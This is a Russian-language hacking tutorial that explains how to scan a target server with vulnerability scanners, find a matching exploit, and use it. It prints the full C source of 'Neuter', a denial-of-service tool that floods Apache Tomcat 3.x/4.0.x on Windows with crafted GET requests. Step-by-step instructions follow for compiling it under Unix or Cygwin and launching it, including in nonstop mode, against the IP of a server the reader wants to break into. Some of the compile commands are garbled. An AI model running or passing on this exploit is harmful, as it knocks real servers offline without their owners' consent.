|
.::Использование
эксплойтов::.
Первый этап.
Вот решил написать коротенькую статейку о том как
использовать эксплойты. Так как без эксплойтов что за взлом.
Ну приступаем, для начала сканируем интересующий
нас сервак на ошибки. Для этого используем мой любимый LANguard Network
Security Scanner скачать его можно с http://www.gfisoftware.com/ далее
File >> New Scan >> Scan one Computer и вводим ip компьютера который мы
хотим взломать потом Finich >> Start Scan и ждем какие ошибки найдет наш
сканер. Если ничего не найдено то попытайтесь использовать другой сканер
например:
XSpider 6.40 - сайт
http://www.xspider.net.ru/
Nessus Security Scanner 1.2.6 -
http://www.nessus.org/
Typhon II - http://www.nextgenss.com/products/typhon.html
Каждый из этих сканеров имеет свои преимущества и
недостатки так что качайте все эти сканеры и проверяйте сервак на
наличие ошибок. Ну а если вы нашли ошибку, тогда переходим к этапу номер
два.
Второй этап.
Например, мы нашли уязвимость 2000/NT Apache Tomcat
3.x и 4.0.x DoS и что с ней делать скажите вы? А делаем следующее: надо
найти эксплойт к этой уязвимости, я предпочитаю искать эксплоиты на
русско язычных сайтах, вот некоторые адреса этих сайтов:
http://www.securitylab.ru/
http://www.void.ru/
http://www.qwerty.nanko.ru/
http://www.cyberinfo.ru/
Эксплойт к уязвимости 2000/NT Apache Tomcat 3.x и
4.0.x DoS я нашел на Securitylab. Вот листинг эксплойта :
/* Windows 2000/NT Apache Tomcat 3.x and 4.0.x DoS
*
* bug discovered by Olaf Schulz
on 11 October 2002
* essentially does a GET
/examples/servlet/AUX HTTP/1.0 ...2000 times.
*
* This is actually somewhat
lame. It seemed to be a rather nice DoS
* if it actually killed the
server after XX GET's, but that isn't the case.
* That's why I tossed in the
'-x' option to keep hammering the box. When
* this program is running, the
webserver becomes inaccessible.
* Not the coolest thing in the
world, but it gave me something to do on a boring
* ass monday night. :) -bmbr
*
*
* Compile With:
* Linux: gcc -o neuter neuter.c
* Solaris: gcc -o neuter
neuter.c -lsocket -lnsl
*
ZZZZZZZZZZZZZZZZZZZ
Z:::::::::::::::::Z
nnnn nnnnnnnn
Z:::::::::::::::::Z ooooooooooo
n:::nn::::::::nn Z:::ZZZZZZZ::::::Z
oo:::::::::::oo
eeeeeeeeeee n::::::::::::::nn
ZZZZZ * Z::::::Z o:::::::::::::::o
ee:::::::::::eenn:::::::::::::::n
2 Z:::::Z o:::::ooooo:::::o
e:::::::::::::::een:::::nnnn:::::n
0 Z:::::Z o::::o o::::o
e::::::eeeee::::::en::::n n::::n
0 Z:::::Z o::::o o::::o
e:::::e e:::::en::::n n::::n 2
Z:::::Z o::::o o::::o
e::::::eeeee::::::en::::n n::::n
* Z:::::Z o::::o o::::o
e::::::::::::::::e n::::n n::::n
Z:::::Z o:::::ooooo:::::o
e:::::eeeeeeeeeee n::::n n::::nZZZ:::::Z
ZZZZZo:::::::::::::::o
e::::::e n::::n n::::nZ::::::ZZZZZZZZ:::Z
oo:::::::::::oo
e:::::::e nnnnnn nnnnnnZ:::::::::::::::::Z
ooooooooooo
e:::::::eeeeeeeeee
Z:::::::::::::::::Z
ee::::::::::::::e
ZZZZZZZZZZZZZZZZZZZ
ee:::::::::::::e \...
www.enZotech.net .../
eeeeeeeeeeee
(The above is radical ascii
art.. Respect it. The below is a lame DoS. )
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>
#include <stdlib.h>
#include <limits.h>
#include <math.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
void usage(char* argv0);
void forkoff(char *ip, int
port);
int neuter(char *ip, int port);
void sigint();
void sighup();
void sigquit();
int main(int argc, char *argv[])
{
extern int optopt;
extern char *optarg;
int errorflag = 0; /* did
someone screw up? */
int port = 80; /* default port
to use unless -p */
int c;
int kill = 0;
int killhigh = 2000; /* This is
how many GETS to request */
int always = 0;
if ((argc < 2) || (argc > 6))
usage(argv[0]);
while ((c=getopt(argc, argv, "vxp:"))
!= EOF) {
switch(c) {
case 'p':
fprintf(stderr, "Using port
%s\n", optarg);
port = strtol(optarg, NULL, 10);
break;
case 'x':
fprintf(stderr, "Nonstop DoS
Attack.. go get a dew..\n");
always = 1;
break;
case 'v':
fprintf(stderr, "Neuter:
IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
fprintf(stderr, "written by:
bmbr@enZo\n\n");
exit(0);
case ':':
fprintf(stderr, "Option -%c
requires an operand\n", optopt);
errorflag++;
break;
case '?':
fprintf(stderr, "Unrecognized
option: -%c\n", optopt);
errorflag++;
}
}
if (errorflag) {
usage(argv[0]);
}
/* kill them */
while (kill <= killhigh) {
forkoff(argv[argc-1], port);
fprintf(stderr, "b00m! ");
if (always != 1)
kill++;
}
fprintf(stderr, "\nFinished!\n");
return 0;
} /* end main */
void usage(char* argv0)
{
fprintf(stderr, "\nNeuter:
IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");
fprintf(stderr, "Written by:
bmbr@enZo\n\n");
fprintf(stderr, "Usage: %s [-p
port] IP\n", argv0);
fprintf(stderr, "optional: -x
(don't stop DoS'ing)\n\n");
exit(1);
}
void sigint()
{
signal(SIGINT,sigint);
fprintf(stderr, "CHILD: I have
received Sigint!\n");
exit(0);
}
void sigquit()
{
fprintf(stderr, "CHILD: My
parent has killed me!\n");
exit(0);
}
void sighup()
{
signal(SIGHUP,sighup);
fprintf(stderr, "CHILD: I have
received SIGHUP\n");
}
void forkoff(char *ip, int port)
{
int pid;
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork
Error.\n");
exit(0);
}
else if (pid > 0)
usleep(1000); /* microseconds
(millionth of a sec) */
else if (pid == 0) {
signal(SIGHUP,sighup);
signal(SIGINT,sigint);
signal(SIGQUIT,sigquit);
alarm(25);
neuter(ip, port);
alarm(0);
exit(0);
}
}
int neuter(char *ip, int port)
{
int s, r, c;
char *string = "GET /examples/servlet/AUX
HTTP/1.0\r\n";
char *stringend = "\r\n\r\n";
struct sockaddr_in addr;
struct hostent *hp;
memset((char *) &addr, '\0',
sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr =
inet_addr(ip);
addr.sin_port= htons(port);
if ((hp = gethostbyname(ip)) !=
NULL) {
/* need to check the size of
h_length to avoid overflow */
if (hp->h_length >
sizeof(addr.sin_addr)) {
hp->h_length =
sizeof(addr.sin_addr); }
memcpy((char *) &addr.sin_addr,
hp->h_addr, hp->h_length);
}
else {
if ((addr.sin_addr.s_addr =
inet_addr(ip)) < 0) {
return(0);
}
}
s = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
r = connect(s, (struct sockaddr
*) &addr, sizeof(addr));
write(s, string, strlen(string));
write(s, stringend,
strlen(stringend));
c = 0;
close(s);
return 0;
}
Для Unix систем.
Как вы видити он написан на языке Си нам надо его
откомпилировать под Unix, если у вас стоит Unix то это не проблема
копируем эксплойт в файл с расширением *.c . Дадим этому файлу имя vzlom
. Так что теперь у нас есть файл vzlom.c. Открываем командную страку и
пишем там
cd /каталог в котором находится файл vzlom.c
ls - вывод списка файлов текущего каталога (проверяем
туда ли мы попали)
далее
gcc -o vzlom.c (компилируем эксплойт)
и у вас уже имеется в этой папке файл vzlom.exe.
Как его использовать я расскажу чуть позже.
Для windows.
А вот с windows немного сложней, но ничего мы с
этим справимся. Я расскажу вам о более приемлемом способе, который
использую я.
Есть такая программа как Cygwin (http://www.cygwin.com/)
. Это - качественный порт под Win32 многих Unix'овых утилит. При этом
достигается великолепная совместимость. То есть скрипты, написанные и
отлаженные под Windows, с большой вероятностью будут работать под Unix
что нам и нужно. Альтернативы Cygwin'у на данный момент практически нет,
единственным соперником мог бы быть MKS Toolkit, но он продается за
деньги, а нас такой вариант не устраивает. Идем качать и устанавливать
Cygwin. Эта программа работае под Windows 95/98/ME/NT/2000/XP.
Как устанавливать:
Качаем http://www.cygwin.com/setup.exe далее
запускаем setup.exe выбираем
1. Install from Internet;
2. root-директорию:
c:\cygwin;
3. выбираем зеркало с которого будет качаться
дистрибутив, самое первое с него все без проблем устанавливается
4. Ждем пока появится выбор компонентов для
установки.
5. Далее Оставляем все Default и добавляем пакеты
которые нам нужны для компиляции эксплойтов, а это
Devel - binutils, gcc, make,
mingw-runtime
Libs - libiconv2, libintl1-2,
libncurses5-6, libpopt0, mingw-runtime, ncurses, tempcap, w32api
Utils - cygutils
6. Далее нажимаем next и качаем ( примерный объем
скачиваемых пакетов это 40-50 мегабайт) - это очень много не один час
скачивать будите.
7. Cтавите галочку на
Create icon on Desctop.
8. Перезагружаете компьютер.
Применение:
Запускаем Cygwin и что мы видим:
имя компьютера@прол
Пишите $pwd - где вы находитесь(каталог). Обычно
это /home/имя компьютера/
Копируем файл vzlom.c который мы сделали на первом
этапе в паку
C:\cygwin\home\123
Далее вводим в Cygwin
gcc vzlom.c
В папке C:\cygwin\home\123 создается файл a.exe для
того чтобы запустить его пишем
>./a.exe
И на экране появится что-то вроде
Neuter: IIS+Apache Tomcat DoS -
[Oct 15, 2002]
Written by: bmbr@enZo
Usage: ./a [-p port] IP
optional: -x (don't stop DoS'ing)
Третий этап (использование экслойта.)
А что об этом говорить и так все ясно пишем
./a [80] ***.***.****.**** (***.***.***.*** - ip
взламываемого сервака).
P.S
Принимаю все конструктивные предложения насчет
статьи а насчет вопросов которые могут у вас возникнуть (в статье все
итак написано понятным языком)
|